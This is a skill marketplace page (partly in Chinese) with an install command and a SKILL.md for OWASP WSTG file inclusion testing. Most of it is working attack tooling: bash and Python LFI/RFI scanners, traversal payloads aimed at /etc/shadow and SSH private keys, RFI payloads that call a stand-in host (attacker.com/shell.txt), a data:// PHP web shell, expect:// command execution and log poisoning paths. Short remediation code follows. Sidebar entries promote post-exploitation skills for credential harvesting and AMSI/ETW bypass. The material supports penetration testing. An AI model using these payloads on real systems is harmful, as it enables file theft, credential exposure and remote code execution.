用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-11-1命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-inpv-11.1 |
| description | Testing for File Inclusion (LFI/RFI) |
| category | input-validation |
| owasp_id | WSTG-INPV-11.1 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-11.1
Testing for Local/Remote File Inclusion
File Inclusion vulnerabilities occur when applications dynamically include files based on user input. Local File Inclusion (LFI) allows reading files from the server, while Remote File Inclusion (RFI) allows including files from remote URLs, potentially leading to remote code execution.
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for File Inclusion..."
# LFI payloads
LFI_PAYLOADS=(
"../../../etc/passwd"
"....//....//....//etc/passwd"
"..%2F..%2F..%2Fetc%2Fpasswd"
"....\/....\/....\/etc/passwd"
"/etc/passwd"
"/etc/passwd%00"
"php://filter/convert.base64-encode/resource=/etc/passwd"
)
# Test LFI
for payload in "${LFI_PAYLOADS[@]}"; do
response=$(curl -s "$TARGET/page.php?file=$payload")
if echo "$response" | grep -q "root:"; then
curl -s
#!/usr/bin/env python3
"""
LFI/RFI Vulnerability Tester
"""
import requests
import base64
import re
from urllib.parse import quote
class FileInclusionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
# LFI payloads
LFI_PAYLOADS = [
# Basic traversal
"../../../etc/passwd",
"..\\..\\..\\etc\\passwd",
"....//....//....//etc/passwd",
"..%2F..%2F..%2Fetc%2Fpasswd",
"..%252f..%252f..%252fetc%252fpasswd", # Double encoding
# Absolute path
"/etc/passwd",
"file:///etc/passwd",
# Null byte (older PHP)
"../../../etc/passwd%00",
"../../../etc/passwd\x00",
# Windows paths
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
# PHP wrappers
"php://filter/convert.base64-encode/resource=/etc/passwd",
"php://filter/read=string.rot13/resource=/etc/passwd",
"php://filter/convert.iconv.utf-8.utf-16/resource=/etc/passwd",
# Data wrapper
"data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==",
# Expect wrapper
"expect://id",
# Input wrapper
"php://input",
]
# RFI payloads
RFI_PAYLOADS = [
"http://attacker.com/shell.txt",
"https://attacker.com/shell.txt",
"ftp://attacker.com/shell.txt",
"//attacker.com/shell.txt",
"http://attacker.com/shell.txt%00",
]
def test_lfi(self, param='file'):
"""Test Local File Inclusion"""
print("\n[*] Testing Local File Inclusion...")
for payload in self.LFI_PAYLOADS:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
# Check for /etc/passwd content
if 'root:' in response.text or 'daemon:' in response.text:
print(f"[VULN] LFI - Direct file read!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'LFI - Direct Read',
'payload': payload,
'severity': 'High'
})
return True
# Check for base64 encoded content
if 'php://filter' in payload:
b64_match = re.search(r'[A-Za-z0-9+/=]{50,}', response.text)
if b64_match:
try:
decoded = base64.b64decode(b64_match.group())
if b'root:' in decoded or b'<?php' in decoded:
print(f"[VULN] LFI via PHP wrapper!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'LFI - PHP Wrapper',
'payload': payload,
'severity': 'High'
})
return True
except:
pass
# Check for Windows hosts file
if '127.0.0.1' in response.text and 'localhost' in response.text:
print(f"[VULN] LFI - Windows file read!")
self.findings.append({
'type': 'LFI - Windows',
'payload': payload,
'severity': 'High'
})
return True
except Exception as e:
pass
return False
def test_rfi(self, param='file'):
"""Test Remote File Inclusion"""
print("\n[*] Testing Remote File Inclusion...")
for payload in self.RFI_PAYLOADS:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
# RFI is harder to detect without a callback server
# Check for remote inclusion errors or success
if response.status_code == 200:
print(f"[INFO] RFI payload accepted: {payload}")
print(f" Note: Check attacker server for callbacks")
self.findings.append({
'type': 'RFI - Potential',
'payload': payload,
'severity': 'Critical',
'note': 'Verify with callback server'
})
except Exception as e:
pass
return False
def test_log_poisoning(self, param='file'):
"""Test log file poisoning for RCE"""
print("\n[*] Testing Log Poisoning...")
log_files = [
'/var/log/apache2/access.log',
'/var/log/apache2/error.log',
'/var/log/nginx/access.log',
'/var/log/nginx/error.log',
'/var/log/httpd/access_log',
'/proc/self/fd/0',
'/proc/self/environ',
]
for log_file in log_files:
payload = f"../../../..{log_file}"
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check if log content is included
if 'GET ' in response.text or 'HTTP/' in response.text:
print(f"[VULN] Log file accessible: {log_file}")
print(f" Log poisoning may be possible!")
self.findings.append({
'type': 'Log Poisoning Potential',
'log_file': log_file,
'severity': 'High'
})
except Exception as e:
pass
def test_php_wrappers(self, param='file'):
"""Test PHP wrapper exploitation"""
print("\n[*] Testing PHP wrappers...")
wrappers = [
# Base64 encode source
('php://filter/convert.base64-encode/resource=index.php', 'source'),
('php://filter/convert.base64-encode/resource=config.php', 'config'),
# Data wrapper for RCE
('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==', 'phpinfo'),
('data://text/plain,<?php system($_GET["cmd"]); ?>', 'shell'),
# Expect wrapper for RCE
('expect://id', 'expect'),
]
for wrapper, desc in wrappers:
try:
response = self.session.get(
self.url,
params={param: wrapper}
)
if 'base64' in wrapper:
b64_match = re.search(r'[A-Za-z0-9+/=]{30,}', response.text)
if b64_match:
print(f"[VULN] PHP wrapper works: {desc}")
self.findings.append({
'type': f'PHP Wrapper - {desc}',
'payload': wrapper,
'severity': 'High'
})
if 'phpinfo' in response.text.lower() or 'PHP Version' in response.text:
print(f"[VULN] Code execution via data wrapper!")
self.findings.append({
'type': 'RCE via Data Wrapper',
'payload': wrapper,
'severity': 'Critical'
})
except Exception as e:
pass
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("FILE INCLUSION REPORT")
print("="*60)
if not self.findings:
print("\nNo file inclusion vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
if 'payload' in f:
print(f" Payload: {f['payload'][:60]}")
if 'note' in f:
print(f" Note: {f['note']}")
def run_tests(self, param='file'):
"""Run all file inclusion tests"""
self.test_lfi(param)
self.test_rfi(param)
self.test_php_wrappers(param)
self.test_log_poisoning(param)
self.generate_report()
# Usage
tester = FileInclusionTester("https://target.com/page.php")
tester.run_tests()
# LFI Traversal Variants
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..././..././..././etc/passwd
..%c0%af..%c0%af..%c0%afetc/passwd
# PHP Wrappers
php://filter/convert.base64-encode/resource=[file]
php://filter/read=string.rot13/resource=[file]
php://input (POST body as PHP)
data://text/plain;base64,[base64_code]
expect://[command]
zip://[zip_file]#[internal_file]
phar://[phar_file]/[internal_file]
# Common Sensitive Files (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log
/var/log/nginx/error.log
~/.bash_history
~/.ssh/id_rsa
# Common Sensitive Files (Windows)
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\logs\access.log
C:\inetpub\logs\LogFiles\W3SVC1\
| Tool | Purpose |
|---|---|
| LFISuite | Automated LFI exploitation |
| Burp Suite | Manual testing |
| fimap | LFI/RFI scanner |
| kadimus | LFI scanner |
<?php
// PHP - Use allowlists and avoid dynamic includes
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include("pages/{$page}.php");
} else {
include("pages/404.php");
}
// Never include user input directly
// VULNERABLE: include($_GET['file']);
// VULNERABLE: include("pages/" . $_GET['file'] . ".php");
?>
# Python - Safe file access
import os
ALLOWED_DIR = '/var/www/app/templates/'
def safe_include(filename):
# Normalize path
requested_path = os.path.normpath(
os.path.join(ALLOWED_DIR, filename)
)
# Verify path is within allowed directory
if not requested_path.startswith(ALLOWED_DIR):
raise ValueError("Invalid path")
# Verify file exists
if not os.path.isfile(requested_path):
raise FileNotFoundError("File not found")
return requested_path
| Finding | CVSS | Severity |
|---|---|---|
| RFI to RCE | 9.8 | Critical |
| LFI with PHP wrappers | 8.6 | High |
| LFI sensitive file read | 7.5 | High |
| Log poisoning to RCE | 9.1 | Critical |
| CWE ID | Title |
|---|---|
| CWE-98 | Improper Control of Filename for Include/Require |
[ ] LFI traversal tested
[ ] Multiple encodings tested
[ ] PHP wrappers tested
[ ] RFI tested
[ ] Log poisoning tested
[ ] Null byte tested
[ ] Findings documented